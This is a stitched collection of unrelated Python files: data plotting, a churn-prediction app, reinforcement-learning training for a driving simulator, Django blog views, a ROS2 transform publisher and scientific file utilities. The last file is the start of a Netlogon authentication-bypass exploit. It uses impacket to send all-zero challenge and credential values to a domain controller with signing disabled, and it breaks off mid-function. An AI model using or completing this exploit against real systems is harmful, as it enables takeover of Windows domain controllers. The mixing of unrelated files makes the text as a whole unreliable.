import pandas as pd
import seaborn as sns
sns.set()
import matplotlib.pyplot as plt
from matplotlib.pyplot import text
from events import get_events_between
from matplotlib.dates import DayLocator, DateFormatter, date2num

dpi=300
#plt.style.use('fivethirtyeight')
pd.plotting.register_matplotlib_converters()
plt.style.use("seaborn-whitegrid")
plt.rcParams["xtick.direction"] = "in"
plt.rcParams["ytick.direction"] = "in"
plt.rcParams["font.size"] = 11.0
plt.rcParams["figure.figsize"] = (12, 6)

def plot_mobility_trend(df, title, ylabel="% Chnage from baseline", xlabel=None, xlim=(None, None), ylim=(-100, +100),events=None):
    fig, ax = plt.subplots(figsize=(15, 5))
    ax = sns.lineplot(ax=ax, data=df,palette="tab10",dashes=False,markers=False)

    ax.set_title(f'Government Response Stringency Index and {title}')
    ax.set_xlabel(xlabel)
    ax.set_ylabel(ylabel)
    ax.set_xlim(*xlim)
    ax.set_ylim(*ylim)
    ax.xaxis.set_major_formatter(DateFormatter('%m-%d'))
    if events:
        #plot events
        for evt in events:
            ax.axvline(x=evt['date'], linewidth=1, color='lightgrey')
            text(evt['date'], -75, f"{evt['date']}: {evt['event']}", rotation=90, fontsize=8, color='gray')
    plt.tight_layout()
    plt.savefig(f'../img/mobility/{title}.pdf', dpi=600)
    plt.clf()

def main():
    df = pd.read_csv('../data/mobility/applemobilitytrends-2020-06-21.csv')
    df_walking = df[df['transportation_type']=='walking']
    df_driving = df[df['transportation_type'] == 'driving']
    df_transit = df[df['transportation_type'] == 'transit']

    df_fb_mobility = pd.read_csv('../data/fb_movement/movement-range-2020-06-20.txt', delimiter='\t')

    df_stringency = pd.read_csv('../data/stringency_index/covid-stringency-index.csv')

    df_google_mobility = pd.read_csv('../data/google_mobility/Global_Mobility_Report.csv')

    df_walking = df_walking.drop(
        columns=['transportation_type', 'geo_type', 'alternative_name', 'sub-region', 'country'])
    df_driving = df_driving.drop(
        columns=['transportation_type', 'geo_type', 'alternative_name', 'sub-region', 'country'])
    df_transit = df_transit.drop(
        columns=['transportation_type', 'geo_type', 'alternative_name', 'sub-region', 'country'])

    places_of_interest = ['Italy',
                          'Spain',
                          "France",
                          "Germany",
                          "Sweden",
                          "United Kingdom",
                          "Belgium",
                          "Netherlands"]
    places_iso = ['ITA', 'ESP', 'FRA', 'DEU', 'SWE', 'GBR', 'BEL', 'NLD']

    for place, iso in zip(places_of_interest, places_iso):
        #Apple
        df_walking_place = df_walking[df_walking['region']==place]
        df_driving_place = df_driving[df_driving['region']==place]
        df_transit_place = df_transit[df_transit['region']==place]

        plot_dict = {}

        if not df_walking_place.empty:
            df_walking_place = df_walking_place.drop(columns=['region'])
            plot_dict['Walking'] = [a-100 for a in df_walking_place.values.tolist()[0]]
            plot_dict['Dates'] = df_walking_place.columns.tolist()

        if not df_driving_place.empty:
            df_driving_place = df_driving_place.drop(columns=['region'])
            plot_dict['Driving'] = [a-100 for a in df_driving_place.values.tolist()[0]]
            plot_dict['Dates'] = df_driving_place.columns.tolist()

        if not df_transit_place.empty:
            df_transit_place = df_transit_place.drop(columns=['region'])
            plot_dict['Public Transport'] = [a-100 for a in df_transit_place.values.tolist()[0]]
            plot_dict['Dates'] = df_transit_place.columns.tolist()

        #Facebook
        df_fb_mobility_place = df_fb_mobility[df_fb_mobility['country']==iso]
        df_fb_mobility_place['ds'] = pd.to_datetime(df_fb_mobility_place['ds'])
        df_fb_mobility_place = df_fb_mobility_place.drop(columns=['polygon_source',
                                                                  'polygon_id',
                                                                  'polygon_name',
                                                                  'baseline_name',
                                                                  'baseline_type'])

        df_fb_mobility_place_no_move = df_fb_mobility_place.groupby('ds').agg(
            {'all_day_ratio_single_tile_users': 'mean'})
        df_fb_mobility_place_visited = df_fb_mobility_place.groupby('ds').agg(
            {'all_day_bing_tiles_visited_relative_change': 'mean'})

        df_fb_mobility_place_no_move.columns = ['Staying put']
        df_fb_mobility_place_visited.columns = ['Relative change in movement']

        df_fb_mobility_place_no_move['Staying put'] = df_fb_mobility_place_no_move['Staying put'].apply(
            lambda x: x * 100.0)
        df_fb_mobility_place_visited['Relative change in movement'] = df_fb_mobility_place_visited['Relative change in movement'].apply(
            lambda x: x * 100.0)

        #Oxford
        df_stringency_place = df_stringency[df_stringency['Entity']==place]
        df_stringency_place['Date'] = pd.to_datetime(df_stringency_place['Date'])
        df_stringency_place = df_stringency_place.set_index('Date')
        df_stringency_place = df_stringency_place.drop(columns=['Entity','Code'])

        #Google
        df_google_mobility_place = df_google_mobility[(df_google_mobility['country_region']==place) & (df_google_mobility['sub_region_1'].isnull())]
        df_google_mobility_place = df_google_mobility_place.drop(columns=['country_region_code',
                                                                          'country_region',
                                                                          'sub_region_1',
                                                                          'sub_region_2',
                                                                          'iso_3166_2_code',
                                                                          'census_fips_code'])
        df_google_mobility_place.columns = ['date','Retail & Recreation','Grocery & pharmacy', 'Parks', 'Transit Stations', 'Workplaces', 'Residential']
        df_google_mobility_place['date'] = pd.to_datetime(df_google_mobility_place['date'])
        df_google_mobility_place = df_google_mobility_place.set_index('date')

        plot_df = pd.DataFrame(plot_dict)
        plot_df['Dates'] = pd.to_datetime(plot_df['Dates'])
        plot_df = plot_df.set_index('Dates')

        plot_df = pd.merge(plot_df, df_fb_mobility_place_no_move, how='inner', left_index=True, right_index=True)
        plot_df = pd.merge(plot_df, df_fb_mobility_place_visited, how='inner', left_index=True, right_index=True)
        plot_df = pd.merge(plot_df, df_stringency_place, how='inner', left_index=True, right_index=True)
        #plot_df = pd.merge(plot_df, df_google_mobility_place, how='inner', left_index=True, right_index=True)

        plot_df = plot_df.fillna(method='ffill')
        eplace = place
        if place == 'New York City':
            eplace = 'New York'
        if place == 'Mumbai':
            eplace = 'Maharashtra'

        plot_mobility_trend(plot_df, f'Mobility Trends in {place}',events=None)

if __name__ == "__main__":
    main()


import streamlit as st
import pandas as pd
import numpy as np
from prediction import predict
import xgboost as xgb

st.title('Customer Churn Prediction')
st.markdown('Use customers features to predict whether this customer is going to churn or not')

st.header("Customer Profile")
col1, col2 = st.columns(2)

with col1:
    Tenure = st.slider('Tenure', 0, 31, 1)
    Complain = st.slider('Complain', 0, 1, 1)
    Cashback = st.slider('CashbackAmount', 110, 324, 1)
    SatisfactionScore = st.slider('SatisfactionScore', 1, 5, 1)
    DaysSinceLastOrder = st.slider('DaySinceLastOrder', 0, 30, 1)

with col2:
    pass

st.text('')
if st.button("Customer churn prediction"):
    result = predict(
        np.array([[Tenure, Complain, Cashback, SatisfactionScore, DaysSinceLastOrder]]))
    st.text(result[0])

st.text('')
st.text('')
st.markdown(
    '`Create by` [Zhengmian Chang | ')


import os

import mock
import unittest2

from crane import app, config, data

metadata_good_path = os.path.join(os.path.dirname(__file__), '../data/metadata_good/')

class BaseCraneAPITest(unittest2.TestCase):
    def setUp(self):
        with mock.patch('crane.app.init_logging'):
            self.app = app.create_app()
        self.app.config[config.KEY_DATA_DIR] = metadata_good_path
        self.app.config[config.KEY_ENDPOINT] = 'localhost:5000'
        self.app.config['DEBUG'] = True
        data.load_all(self.app)
        self.test_client = self.app.test_client()

    def tearDown(self):
        """
        reset response data
        """
        data.response_data = {
            'repos': {},
            'images': {},
        }


import os
import time
import numpy as np
import tensorflow as tf
from collections import OrderedDict

from learner import Learner
from env.carla97_env import Env
from dataset.dataset_iters import Data_iters

from nn.image_agent import ImageAgent

from tools.logger import Logger
from tools.replaybuffer import ReplayBufferDict
from tools.others import OU, print_dict

from config import branch_list, get_scene_config

def test(sess, args, env, scene, agent, branch):
    s_t = env.reset(scene)

    video = []
    for j in range(args.rl_step):
        image_feature, lidar_input, measure_input, real_image = s_t

        a_t = agent.actor.predict_action(image_feature, lidar_input, measure_input, branch) + np.zeros([2])
        s_t1, _, done = env.step(a_t)

        if j % args.frame_skip == 0:
            video.append(real_image)
            #print('frame ', j, ': ', a_t)

        s_t = s_t1
        if done:
            break

    return env.close('test'), video

def train(sess, args, exp_name):
    img_agent = ImageAgent(sess)
    agent = Learner(sess, args, branch_list)

    sess.run(tf.global_variables_initializer())
    img_agent.load_model()

    exp_dataset = Data_iters(args.exp_path, [0], ['FrontRGB', 'Lidar', 'Measurement', 'control'], episode_ratio = args.exp_ratio, image_agent=img_agent, branch_list=branch_list)
    agent.assgin_exp_dataset(exp_dataset)

    saver = tf.train.Saver(max_to_keep=15)
    sess.graph.finalize()

    fp = os.path.dirname(__file__)
    if args.load_model != '':
        load_path = os.path.join(fp, 'ckpt', args.load_model)
        saver.restore(sess, load_path)
        print('# continue training from : ', load_path)

    env = Env(img_agent, args.port)
    logger = Logger(os.path.join(fp, 'log', exp_name))

    # ------------------ BC ------------------
    if args.bc_iters > 0:
        print('# Train BC', args.bc_iters)
        for i in range(args.bc_iters):
            print('============== Episode %d / %d =============' % (i, args.bc_iters))
            bc_losses = agent.train_bc() # TODO: output loss
            print(bc_losses)

            logger.log_scalar_one_plot('bc_losses', bc_losses, i)
            logger.flush()

            if (i+1) % args.bc_ck == 0:
                for branch in [0,1]:
                    scene = get_scene_config(args.scene, args.pose, branch, args.weather)
                    res, video = test(sess, args, env, scene, agent, branch)
                    logger.log_video(video, 'branch=' + str(branch), i)
                logger.flush()

                save_path = os.path.join(fp, 'ckpt', exp_name + '_BC%d' % i)
                saver.save(sess, save_path)
                print('# Save model to ', save_path)

    # ------------------ RL ------------------
    if args.rl_iters > 0:
        print('# Train RL', args.rl_iters)
        buffer_dict = ReplayBufferDict(args.replay_buffer, branch_list)
        epsilon = 1.0

        for i in range(args.rl_iters):
            print('========== EPISODE %d / %d============' % (i, args.rl_iters))

            tr_res = OrderedDict()
            for branch in branch_list:
                scene = get_scene_config(args.scene, args.pose, branch, args.weather)
                s_t = env.reset(scene)

                print('# Collect trajectory, step = %d, branch = %d' % (args.rl_step, branch))
                for j in range(args.rl_step):
                    image_feature, lidar_input, measure_input, _ = s_t
                    a_t_pridect = agent.actor.predict_action(image_feature, lidar_input, measure_input, branch)
                    epsilon -= 1.0 / args.explore

                    noise_t = np.zeros([2])
                    noise_t[0] = max(epsilon,0) * OU(a_t_pridect[0], 0.3 * branch, 0.2, 0.15) #steer
                    noise_t[1] = max(epsilon,0) * OU(a_t_pridect[1], 0.2, 0.2, 0.15) #speed

                    a_t = a_t_pridect + noise_t
                    s_t1, r_t, done = env.step(a_t)

                    if j % args.frame_skip == 1: #??? 0
                        buffer_dict.add(branch, (s_t, a_t, [r_t], s_t1, [done]))

                    s_t = s_t1
                    if done:
                        break

                res = env.close('train')
                for (k, v) in res.items():
                    if not k in tr_res:
                        tr_res[k] = OrderedDict()
                    tr_res[k][str(branch)] = v

            for (k, v) in tr_res.items():
                logger.log_scalar_one_plot(k, v, i)
                print(k, v)

            # ------------------ Log & Train & Save ------------------
            ddpg_losses = agent.train_ddpg(buffer_dict)
            logger.log_scalar_one_plot('ddpg_losses', ddpg_losses, i)
            logger.flush()
            print(ddpg_losses)

            discriminator_losses = agent.train_discriminator(buffer_dict)
            logger.log_scalar_one_plot('discriminator_losses', discriminator_losses, i)

            print("Buffer: ", buffer_dict.size())
            #print_dict("Performance", tr_res)

            if (i+1) % args.rl_ck == 0:
                for branch in branch_list:
                    scene = get_scene_config(args.scene, args.pose, branch, args.weather)
                    res, video = test(sess, args, env, scene, agent, branch)
                    logger.log_video(video, 'branch=' + str(branch), i)
                logger.flush()

                save_path = os.path.join(fp, 'ckpt', exp_name + '_RL%d' % i)
                saver.save(sess, save_path)
                print('# Save model to ', save_path)

def main():
    import argparse
    argparser = argparse.ArgumentParser(description="GAIL for CARLA-0.9.7")

    # ------------------ Experiment Configuration ------------------
    argparser.add_argument('--task', default= 'RL', type=str, help='task name')
    argparser.add_argument('--port', default= 2000, type=int, help='carla port')

    argparser.add_argument('--scene', default= 0, type=int, help='scene ID')
    argparser.add_argument('--pose', default= 0, type=int, help='pose ID')
    #argparser.add_argument('--branch', default= 0, type=int, help='left -1, straight 0, right 1')
    argparser.add_argument('--weather', default = 'ClearNoon', type=str, help='weather in carla simulator')

    # ------------------ Model Configuration ------------------
    argparser.add_argument('--load_model', default='', type=str, help='file name of the checkpoint to load')
    argparser.add_argument('--exp_path', default='dataset/', type=str, help='file path of the expert data')
    argparser.add_argument('--exp_ratio', default=1.0, type=float, help='ratio of the expert dataset')

    argparser.add_argument('--hid_dim', default=128, type=int, help='the hidden dimension of a & c & d network')
    argparser.add_argument('--gpu_fraction', default=0.5, type=float, help='gpu_memory_fraction of tensorflow')
    argparser.add_argument('--gpu_id', default='0', type=str, help='gpu ID for training')

    # ------------------ BC Trainer Hyperparameters ------------------
    ''' For test
    argparser.add_argument('--bc_iters', default=1, type=int, help='the number of episodes for pretraining')
    argparser.add_argument('--bc_batch', default=0, type=int, help='batch size of pretraining')
    argparser.add_argument('--bc_ck', default=1, type=int, help='checkpoint per certain number of episodes')
    argparser.add_argument('--bc_update', default=0, type=int, help='update times in each iter')
    '''

    argparser.add_argument('--bc_iters', default=100, type=int, help='the number of episodes for pretraining')
    argparser.add_argument('--bc_batch', default=32, type=int, help='batch size of pretraining')
    argparser.add_argument('--bc_ck', default=201, type=int, help='checkpoint per certain number of episodes')
    argparser.add_argument('--bc_update', default=200, type=int, help='update times in each iter')

    argparser.add_argument('--lr_bc', default=0.0001, type=float, help='learning rate for behavior cloning')

    # ------------------ RL Configuration ------------------
    argparser.add_argument('--rl_iters', default=0, type=int, help='number of episodes for RL training')
    argparser.add_argument('--rl_step', default=500, type=int, help='max steps for each episode')
    argparser.add_argument('--rl_batch', default=32, type=int, help='batch size for training')
    argparser.add_argument('--rl_ck', default=20, type=int, help='checkpoint per certain number of episodes')

    argparser.add_argument('--replay_buffer', default=100000, type=int, help='replay buffer size')
    argparser.add_argument('--frame_skip', default=2, type=int, help='only store j mod frame_skip == 0 into replay buffer')
    argparser.add_argument('--explore', default=100000, type=int, help='decay rate of explore')

    # ------------------ GAIL Trainer Hyperparameters ------------------
    argparser.add_argument('--ddpg_update', default=20, type=int, help='number of actor-critic updates each training')
    argparser.add_argument('--discriminator_update', default=40, type=int, help='number of discriminator updates each training')

    argparser.add_argument('--lam', default=1, type=float, help='combine reward')
    argparser.add_argument('--gamma', default=0.99, type=float, help='parameters for advantage function')
    argparser.add_argument('--tau', default=0.001, type=float, help='the momentum for updating target network')
    argparser.add_argument('--entcoeff', default=0.001, type=float, help='the coefficient for the entropy loss')

    argparser.add_argument('--lr_a', default=0.00001, type=float, help='learning rate for actor network')
    argparser.add_argument('--lr_c', default=0.001, type=float, help='learning rate for critic network')
    argparser.add_argument('--lr_d', default=0.0001, type=float, help='learning rate for discriminator network')

    args = argparser.parse_args()
    #assert args.bc_iters == 0 or args.rl_iters == 0, "You should train BC either RL"

    exp_name = args.task
    exp_name += '_scene%d_pose%d_%s' % (args.scene, args.pose, args.weather)
    exp_name += time.strftime('_%m%d_%H%M')
    print('# exp_name:', exp_name)

    os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu_id
    gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=args.gpu_fraction)
    config=tf.ConfigProto(gpu_options=gpu_options)

    with tf.Session(config=config) as  sess:
        train(sess, args, exp_name)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print('\nExit by user.')
    finally:
        print('\nExit.')


from django.shortcuts import render, redirect, get_object_or_404
from django.utils import timezone
from .models import Blog, Hashtag, Event
from .forms import CreateForm, CommentForm, HashtagForm, EventForm
import datetime #다이어리용
import calendar#다이어리용
from .calendar import Calendar #다이어리용
from django.utils.safestring import mark_safe #다이어리용
from django.http.response import HttpResponse#좋아요용

# Create your views here.

def main(request):
    blogs = Blog.objects
    hashtags = Hashtag.objects
    return render(request, 'blog/main.html', {'blogs':blogs, 'hashtags':hashtags})

def write(request):
    return render(request, 'blog/write.html')

#왤까... 이게 된 이유가... 이게 원래꺼(m2m 안됐던거임)
# def create(request, blog=None):
#    if request.method == "POST":
#       form = CreateForm(request.POST, instance=blog)
#        if form.is_valid():
#            blog = form.save(commit=False)
#            form.save_m2m()
#            blog.pub_date = timezone.datetime.now()
#            blog.save()
#            return redirect('main')
#    else:
#        form = CreateForm(instance=blog)
#        return render(request, 'blog/write.html', {'form':form})

#def blogform(request, blog=None):
#    if request.method == 'POST':
#        form = CreateForm(request.POST, instance=blog)
#        if form.is_valid():
#            blog = form.save(commit=False)
#            blog.pub_date = timezone.datetime.now()
#            blog.save()
#            form.save_m2m()
#            return redirect('main')
#    else:
#        form = CreateForm(instance=blog)
#        return render(request, 'blog/write.html', {'form':form})

def create(request, blog=None):
    if request.method == "POST":
        form = CreateForm(request.POST, request.FILES, instance=blog)
        if form.is_valid():
            blog = form.save(commit=False)
            blog.pub_date = timezone.datetime.now()
            blog.save()
            form.save_m2m()
            return redirect('main')
    else:
        form = CreateForm(instance=blog)
        return render(request, 'blog/write.html', {'form':form})

def blogform(request, blog=None):
    if request.method == 'POST':
        form = CreateForm(request.POST, instance=blog)
        if form.is_valid():
            blog = form.save(commit=False)
            blog.pub_date = timezone.datetime.now()
            blog.save()
            form.save_m2m()
            return redirect('main')
    else:
        form = CreateForm(instance=blog)
        return render(request, 'blog/write.html', {'form':form})

def base(request):
    return render(request, 'blog/base.html')

def edit(request, id):
    blog = get_object_or_404(Blog, id = id)
    if request.method == "POST":
        form = CreateForm(request.POST, instance=blog)
        if form.is_valid():
            form.save(commit=False)
            form.save()
            return redirect('main')
    else:
        form = CreateForm(instance=blog)
    return render(request, 'blog/edit.html', {'form':form})

def delete(request, id):
    delete_blog = get_object_or_404(Blog, id = id)
    delete_blog.delete()
    return redirect ('main')

# 디테일
def detail(request, id):
    blog = get_object_or_404(Blog, id = id)
    default_view_count = blog.view_count
    blog.view_count = default_view_count + 1
    blog.save()
    return render(request, 'blog/detail.html', {'blog':blog})

# 해시태그 함수
def hashtagform(request, hashtag=None):
    if request.method == 'POST':
        form = HashtagForm(request.POST, instance=hashtag)
        if form.is_valid():
            hashtag = form.save(commit=False)
            if Hashtag.objects.filter(name=form.cleaned_data['name']):
                form = HashtagForm()
                error_message = "이미 존재하는 해시태그 입니다."
                return render(request, 'blog/hashtag.html', {'form':form, "error_message": error_message})
            else:
                hashtag.name = form.cleaned_data['name']
                hashtag.save()
            return redirect('main')
    else:
        form = HashtagForm(instance=hashtag)
        return render(request, 'blog/hashtag.html', {'form':form})

def search(request, hashtag_id):
    hashtag = get_object_or_404(Hashtag, id=hashtag_id)
    return render(request, 'blog/search.html', {'hashtag':hashtag})

#다이어리 페이지
def calendar_view(request):
    today = get_date(request.GET.get('month'))

    prev_month_var = prev_month(today)
    next_month_var = next_month(today)

    cal = Calendar(today.year, today.month)
    html_cal = cal.formatmonth(withyear=True)
    result_cal = mark_safe(html_cal)

    context = {'calendar' : result_cal, 'prev_month' : prev_month_var, 'next_month' : next_month_var}

    return render(request, 'blog/diary_events.html', context)

#현재 달력을 보고 있는 시점의 시간을 반환
def get_date(req_day):
    if req_day:
        year, month = (int(x) for x in req_day.split('-'))
        return datetime.date(year, month, day=1)
    return datetime.datetime.today()

#현재 달력의 이전 달 URL 반환
def prev_month(day):
    first = day.replace(day=1)
    prev_month = first - datetime.timedelta(days=1)
    month = 'month=' + str(prev_month.year) + '-' + str(prev_month.month)
    return month

#현재 달력의 다음 달 URL 반환
def next_month(day):
    days_in_month = calendar.monthrange(day.year, day.month)[1]
    last = day.replace(day=days_in_month)
    next_month = last + datetime.timedelta(days=1)
    month = 'month=' + str(next_month.year) + '-' + str(next_month.month)
    return month

#새로운 Event의 등록 혹은 수정
def event(request, event_id=None):
    if event_id:
        instance = get_object_or_404(Event, pk=event_id)
    else:
        instance = Event()

    form = EventForm(request.POST or None, instance=instance)
    if request.POST and form.is_valid():
        form.save()
        return redirect('calendar')
    return render(request, 'blog/diary_input.html', {'form': form})

#좋아요
def commu_like(request, pk):
    if not request.user.is_active:
        return HttpResponse('First SignIn please')

    blog = get_object_or_404(Blog, pk=pk)
    user = request.user

    if blog.Blog_likes.filter(id=user.id).exists():
        blog.Blog_likes.remove(user)
    else:
        blog.Blog_likes.add(user)

    return redirect('detail', pk)


import math

from geometry_msgs.msg import TransformStamped, PoseStamped
from rosgraph_msgs.msg import Clock
from nav_msgs.msg import Odometry

import numpy as np
from scipy.spatial.transform import Rotation as R

import rclpy
from rclpy.node import Node

from tf2_ros import TransformBroadcaster

base_link_z_offset = -0.5

def quaternion_from_euler(ai, aj, ak):
	ai /= 2.0
	aj /= 2.0
	ak /= 2.0
	ci = math.cos(ai)
	si = math.sin(ai)
	cj = math.cos(aj)
	sj = math.sin(aj)
	ck = math.cos(ak)
	sk = math.sin(ak)
	cc = ci*ck
	cs = ci*sk
	sc = si*ck
	ss = si*sk

	q = np.empty((4, ))
	q[0] = cj*sc - sj*cs
	q[1] = cj*ss + sj*cc
	q[2] = cj*cs - sj*sc
	q[3] = cj*cc + sj*ss

	return q

class FramePublisher(Node):

	def __init__(self):
		super().__init__('wagon_tf2_frame_publisher')

		# Declare and acquire `turtlename` parameter
		self.wagon_name = self.declare_parameter('base_link_name', 'base_link').get_parameter_value().string_value
		self.add_offset = self.declare_parameter('add_offset', False).get_parameter_value().bool_value

		# Initialize the transform broadcaster
		self.tf_broadcaster = TransformBroadcaster(self)
		self.secs = 0
		self.nanosecs = 0
		# Subscribe to a turtle{1}{2}/pose topic and call handle_turtle_pose
		# callback function on each message
		self.pose_subscription = self.create_subscription(
			Odometry,
			'/wagon/' + self.wagon_name + '_pose_gt',
			self.handle_wagon_pose,
			1)
		self.pose_subscription  # prevent unused variable warning
		self.get_logger().info('Subscribed to /wagon/' + self.wagon_name + '_pose_gt')

		self.odom_gt_pub = self.create_publisher(
			Odometry,
			'/wagon/' + self.wagon_name + '_odom_gt',
			1)
		self.odom_gt_pub  # prevent unused variable warning

		# self.clock_sub = self.create_subscription(
		# 	Clock,
		# 	'/clock',
		# 	self.handle_clock,
		# 	1)

		# self.clock_sub  # prevent unused variable warning

	# def handle_clock(self, msg):
	# 	self.secs = msg.clock.sec
	# 	self.nanosecs = msg.clock.nanosec
	# 	# print("Time: " + str(self.time))

	def handle_wagon_pose(self, msg):
		t = TransformStamped()

		# Read message content and assign it to
		# corresponding tf variables
		t.header.stamp.sec = msg.header.stamp.sec
		t.header.stamp.nanosec = msg.header.stamp.nanosec
		t.header.frame_id = 'base_link'
		t.child_frame_id = 'world'

		rotation = R.from_quat([msg.pose.pose.orientation.x, msg.pose.pose.orientation.y, msg.pose.pose.orientation.z, msg.pose.pose.orientation.w])
		if self.add_offset:
			translation = np.array([msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z + base_link_z_offset])
		else:
			translation = np.array([msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z])

		# Create the transformation matrix
		transform = np.eye(4)
		transform[:3, :3] = rotation.as_matrix()
		transform[:3, 3] = translation

		# Compute the inverse transformation matrix
		inverse_transform = np.linalg.inv(transform)

		# Extract the inverse translation and rotation values
		inverse_translation = inverse_transform[:3, 3]
		inverse_rotation = R.from_matrix(inverse_transform[:3, :3])

		# Print the results
		#print("Inverse Translation: ", inverse_translation)
		#print("Inverse Rotation: ", inverse_rotation.as_euler('xyz', degrees=True))

		# Assign the translation and rotation to the
		# transform message
		t.transform.translation.x = inverse_translation[0]
		t.transform.translation.y = inverse_translation[1]
		t.transform.translation.z = inverse_translation[2]
		t.transform.rotation.x = inverse_rotation.as_quat()[0]
		t.transform.rotation.y = inverse_rotation.as_quat()[1]
		t.transform.rotation.z = inverse_rotation.as_quat()[2]
		t.transform.rotation.w = inverse_rotation.as_quat()[3]

		# Send the transformation
		self.tf_broadcaster.sendTransform(t)

		# Publish the odom_gt
		odom_gt = Odometry()
		odom_gt.header.stamp.sec = msg.header.stamp.sec
		odom_gt.header.stamp.nanosec = msg.header.stamp.nanosec
		odom_gt.header.frame_id = 'world'
		odom_gt.child_frame_id = 'odom_gt'
		odom_gt.pose.pose.position.x = msg.pose.pose.position.x
		odom_gt.pose.pose.position.y = msg.pose.pose.position.y
		odom_gt.pose.pose.position.z = msg.pose.pose.position.z
		odom_gt.pose.pose.orientation.x = msg.pose.pose.orientation.x
		odom_gt.pose.pose.orientation.y = msg.pose.pose.orientation.y
		odom_gt.pose.pose.orientation.z = msg.pose.pose.orientation.z
		odom_gt.pose.pose.orientation.w = msg.pose.pose.orientation.w

		# Incomming data is in global frame. Should be in local frame
		vel_xyz = np.array([msg.twist.twist.linear.x, msg.twist.twist.linear.y, msg.twist.twist.linear.z])
		vel_rpy = np.array([msg.twist.twist.angular.x, msg.twist.twist.angular.y, msg.twist.twist.angular.z])
		vel_xyz_local = inverse_rotation.as_matrix().dot(vel_xyz)
		vel_rpy_local = inverse_rotation.as_matrix().dot(vel_rpy)
		odom_gt.twist.twist.linear.x = vel_xyz_local[0]
		odom_gt.twist.twist.linear.y = vel_xyz_local[1]
		odom_gt.twist.twist.linear.z = vel_xyz_local[2]
		odom_gt.twist.twist.angular.x = vel_rpy_local[0]
		odom_gt.twist.twist.angular.y = vel_rpy_local[1]
		odom_gt.twist.twist.angular.z = vel_rpy_local[2]
		self.odom_gt_pub.publish(odom_gt)

def main():
	rclpy.init()
	node = FramePublisher()
	try:
		rclpy.spin(node)
	except KeyboardInterrupt:
		pass

	rclpy.shutdown()


#!/usr/bin/env python

import os
import argparse

def listMJD(mjd, path):
    """create file list for mjd dir

       mjd: int, mjd to clean

       path: str, path to top level prod dir
    """

    todayDir = os.path.join(path, str(mjd))

    files = os.listdir(todayDir)

    fileString = " \n".join(files)

    return fileString

def checkForNew(path, cachePath):
    """check for new mjds

       path: str, path to top level prod dir

       cachePath: str, path to file summaries
    """

    mjds = os.listdir(path)
    for mjd in mjds:
        fpath = os.path.join(cachePath, mjd)
        if not os.path.isfile(fpath):
            with open(fpath, "w") as sumFile:
                print(listMJD(mjd, path), file=sumFile)

if __name__ == "__main__":
    usage = "write_mjd_summary"
    description = "write all files for a given prod-mjd to summary file"
    parser = argparse.ArgumentParser(description=description, usage=usage)
    parser.add_argument("-p", "--product", dest="prod", type=str,
                        required=True, help="product to check")
    parser.add_argument("-o", "--obs", dest="obs", type=str,
                        required=True, help="product to check")

    args = parser.parse_args()
    prod = args.prod
    obs = args.obs

    sas_path = "/uufs/chpc.utah.edu/common/home/sdss50/sdsswork/data"
    staging_path = os.path.join(sas_path, "staging", obs , prod)
    summaries_path = os.path.join(sas_path, "summaries", obs , prod)
    checkForNew(staging_path, summaries_path)


# -*- coding: utf-8 -*-
import functions as rr
import numpy as np
from constants import const
import h5py
import time
import os
import sys

def read_euler(set_id, newdir):

    start = time.time()

    C = const()

    # nwd = os.getcwd() + '\\' + newdir
    nwd = os.getcwd() + '/' + newdir  # for unix
    os.chdir(nwd)

    # """read the euler angle file"""
    # tmp = np.loadtxt('%s.txt' % set_id)

    # """in euler the first 3 columns are for euler angles,
    # the last is for the phase id"""
    # """phase id 1 is for beta phase, phase id 2 is for alpha phase"""
    # euler = np.zeros([C['el']**3, 4])
    # euler[:, :3] = tmp[:, :3]*(np.pi/180.)
    # euler[:, 3] = tmp[:, 7]
    # euler = euler.reshape([C['el'], C['el'], C['el'], 4])
    # euler = euler.swapaxes(0, 2)
    # euler = euler.reshape([C['el']**3, 4])

    """read the file"""
    """file format: phi1, phi, phi2, x, y, z, grain_id, phase_id"""
    f = open('%s.txt' % set_id, 'r')
    linelist = f.readlines()

    """in euler the first 3 columns are for euler angles,
    the last is for the phase id"""
    """phase id 1 is for beta phase, phase id 2 is for alpha phase"""
    euler = np.zeros([C['el'], C['el'], C['el'], 4])

    for ii in xrange(C['el']**3):
        tmp = np.float32(np.array(linelist[ii].split()))
        i0 = tmp[3]-1
        i1 = tmp[4]-1
        i2 = tmp[5]-1
        euler[i0, i1, i2, :3] = tmp[:3]*(np.pi/180.)
        euler[i0, i1, i2, 3] = tmp[7]

    euler = euler.reshape([C['el']**3, 4])

    os.chdir('..')

    f = h5py.File("euler_%s.hdf5" % set_id, 'w')
    f.create_dataset('euler', data=euler)
    f.close()

    end = time.time()
    timeE = np.round((end - start), 3)

    msg = 'euler angles read from file for %s: %s seconds' \
          % (set_id, timeE)
    rr.WP(msg, C['wrt_file'])

if __name__ == '__main__':
    tnum = np.int16(sys.argv[1])
    C = const()
    set_id = C['set_id'][tnum]
    newdir = C['dir_micr']
    read_euler(set_id, newdir)

    f_flag = open("flag%s" % str(tnum).zfill(5), 'w')
    f_flag.close()


from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

def try_zero_authenticate(dc_handle, IPAddress, targetComputer):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(IPAddress, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpcConnection = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpcConnection.connect()
  rpcConnection.bind(nrpc.MSRPC_UUID_NRPC)
  # Use an all-zero challenge and credential.
  plaintext = b'\x00' * 8
  ciphertext = b'\x00' * 8
  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
  flags = 0x212fffff
  # Send challenge and authentication request.
  nrpc.hNetrServerReqChallenge(rpcConnection, dc_handle + '\x00', targetComputer + '\x00', plaintext)
  try:
    serverAuth = nrpc.hNetrServerAuthenticate3(
      rpcConnection, dc_handle + '\x00', targetComputer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      targetComputer + '\x00', ciphertext, flags
    )
    # It worked!
    assert serverAuth['ErrorCode'] == 0
    return rpcConnection
  except nrpc.DCERPCSessionError as ex:
